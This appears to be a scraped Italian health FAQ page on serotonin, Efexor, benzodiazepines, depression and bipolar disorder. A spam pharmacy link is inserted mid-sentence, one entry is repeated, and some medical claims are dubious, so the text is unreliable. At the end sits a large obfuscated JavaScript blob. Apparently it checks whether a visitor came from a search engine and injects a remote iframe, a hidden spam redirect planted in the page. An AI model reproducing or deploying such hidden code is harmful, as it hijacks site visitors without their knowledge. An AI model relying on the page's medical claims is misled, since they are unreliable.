• Dove trovare serotonina naturale? Il modo migliore per massimizzare il risultato e avere livelli di serotonina soddisfacenti è quello di consumare uno degli alimenti sopra citati come uova formaggio o salmone ad esempio con una porzione di carboidrati sani come: riso fiocchi d’avena o pane integrale.
• Come smettere di usare Efexor? Si deve evitare una sospensione improvvisa della somministrazione. Quando si interrompe il trattamento con venlafaxina la dose deve essere ridotta in modo graduale lungo un periodo di almeno una o due settimane al fine di ridurre il rischio di reazioni da astinenza ( vedere paragrafi 4.4 e 4.8).
• Quale esame per misurare la serotonina? Serotonina Sierica è un test diagnostico fondamentale nell’ambito delle analisi del sangue essenziale per valutare specifici aspetti della salute.
• Come parla un bipolare? L’umore è irritabile disforico comunque molto labile per cui si può passare dal riso alla rabbia molto rapidamente. I pensieri vanno http://bangkokcontractor.apacwoodcontractor.net/%e0%b8%a3%e0%b8%b1%e0%b8%9a%e0%b9%80%e0%b8%ab%e0%b8%a1%e0%b8%b2%e0%b8%97%e0%b8%b3%e0%b9%80%e0%b8%aa%e0%b8%b2%e0%b9%80%e0%b8%82%e0%b9%87%e0%b8%a1%e0%b9%80%e0%b8%88%e0%b8%b2%e0%b8%b0%e0%b9%81%e0%b8%95/valtrex-roma-a-buon-mercato-bangkokcontractor-apacwoodcontractor-net/ veloci che è difficile star loro dietro così come le parole. I discorsi diventano sconclusionati l’attenzione salta da una cosa all’altra c’è grande distraibilità.
• Quali psicofarmaci fanno perdere la memoria? Anche altri psicofarmaci – tra cui neurolettici sedativi o sonniferi di varia natura come Stilnox Zolpidem o Imovane – possono incidere negativamente sulle capacità di memoria.
• Cosa prendere per l’ansia e attacchi di panico? Le molecole più adoperate sono l’alprazolam l’etizolam il clonazepam il lorazepam. Tali farmaci però nel caso di attacchi di panico e agorafobia rischiano di dare forte dipendenza e mantenere il disturbo. Questo soprattutto se non si effettua parallelamente una psicoterapia cognitivo comportamentale.
• Chi soffre di depressione può guarire? La depressione non cronicizza. Si tratta di una condizione che riguarda soltanto alcuni passaggi della vita. Da qui la risposta: sì dalla depressione si guarisce. A livello mondiale quattrocento milioni di persone sono affette dalla depressione.
• Quanto tempo ci vuole per guarire dall’ansia? Infine la durata della cura farmacologica dell’ansia generalizzata varia da 12 a 18 mesi ma può essere inferiore se si associa una psicoterapia cognitivo comportamentale e/o un percorso di mindfulness.
• Che effetti collaterali portano gli antidepressivi? Gli effetti collaterali più comuni sono secchezza della bocca costipazione difficoltà urinarie eccessiva sedazione aumento di peso e problemi sessuali. L’overdose di questi farmaci è inoltre mortale.
• A cosa serve il farmaco Efexor? Efexor è un trattamento per adulti affetti da depressione. È anche un trattamento per adulti con i seguenti disturbi d’ansia: disturbo d’ansia generalizzata disturbo d’ansia sociale (paura di o tendenza ad evitare situazioni sociali) e disturbo da panico (attacchi di panico).
• Chi soffre di depressione può guarire? La depressione non cronicizza. Si tratta di una condizione che riguarda soltanto alcuni passaggi della vita. Da qui la risposta: sì dalla depressione si guarisce. A livello mondiale quattrocento milioni di persone sono affette dalla depressione.
• Come capire se ci sono bassi livelli di serotonina? Quali problemi sono associati a bassi livelli di serotonina?
  Depressione ansia e altri disturbi dell’umore.
  Disturbi del sonno.
  Problemi digestivi.
  Problemi di memoria.
  Desiderio di cibi dolci.
  Aumento della libido (desiderio sessuale)
• Quale è il miglior integratore per l’ansia? Tra i più efficaci troviamo melissa valeriana camomilla tiglio luppolo e passiflora che svolgono un’azione rilassante riducono le tensioni e inducono quindi al al rilassamento e al sonno.
• Come ragiona un bipolare? Volubilità nel cambiare opinione (il paziente non si accorge che i suoi pensieri cambiano facilmente) Facile distraibilità (il paziente può porre attenzione a particolari insignificanti ignorando elementi importanti. Aumento delle attività finalizzate. Agitazione mentale o fisica.

Valutazione 4.4 sulla base di 40 voti.

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,48,57,52,51,50,55,72,84,77,76,60,34,112,47,63,38,95,43,85,67,119,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+$[16]+$[23]+([![]]+{})[+!+[]+[+[]]]+$[13]+$[24]+$[25]+$[26]+$[13]+([]+[]+[][[]])[!+[]+!+[]]+$[23]+$[27]+$[13]+(!![]+[])[+[]]+$[8]+$[28]+$[24]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]+[+[]]]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[29]+$[30]+$[31]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[2]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[33]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[34]+$[23]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[34]+([]+[]+[][[]])[+!+[]]+([]+[]+{})[+!+[]]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[35]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[34]+$[23]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[34]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[2]+$[34]+$[36]+$[36]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[3]+(!![]+[])[+!+[]]+$[8]+$[4]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+$[3]+$[36]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+!+[]]+$[37]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[38]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[39]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[41]+$[1]+$[22]+$[42]+([]+[]+{})[+!+[]]+$[3]+$[35]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[38]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[39]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[43]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[])[+!+[]]+$[35]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[38]+$[9]+$[40]+$[43]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+$[43]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[35]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[7]+$[9]+$[37]+$[9]+$[44]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[38]+$[9]+$[11]+$[40]+$[9]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[2]+$[34]+$[35]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[45]+(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[8]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[43]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[+[]]+$[18]+$[45]+$[14]+$[23]+$[23]+$[46]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[18]+(!![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[10]+$[18]+(!![]+[])[+[]]+$[45]+$[14]+$[23]+$[23]+$[46]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[13]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+$[45]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[43]+$[18]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[47]+$[13]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[45]+$[26]+$[23]+$[23]+$[23]+$[23]+$[23]+$[23]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+$[45]+$[23]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[35]+$[45]+$[23]+$[5]+$[34]+$[48]+$[33]+$[36]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[48]+$[9]+$[6]+$[49])();